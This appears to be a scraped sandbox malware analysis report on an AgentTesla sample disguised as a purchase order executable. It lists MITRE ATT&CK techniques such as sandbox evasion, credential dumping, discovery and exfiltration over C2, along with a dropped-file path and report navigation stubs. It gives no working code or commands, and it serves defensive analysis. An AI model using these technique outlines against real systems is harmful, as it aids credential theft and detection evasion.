Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO_9876563647-FLOWTRONIX (FT)UUE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Xpnzea.exe

C:\Users\user\AppData\Roaming\Xpnzea.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Windows Analysis Report
PO_9876563647-FLOWTRONIX (FT)UUE.exe

Function 05E3CAC8 Relevance: 1.8, Strings: 1, Instructions: 542
COMMON

Function 05E3FCA0 Relevance: 1.6, APIs: 1, Instructions: 110
nativeCOMMON

Function 05C924AC Relevance: 2.5, Strings: 2, Instructions: 45
COMMON

Function 05E2052C Relevance: 1.8, APIs: 1, Instructions: 268
processCOMMON

Function 05E20538 Relevance: 1.8, APIs: 1, Instructions: 261
processCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre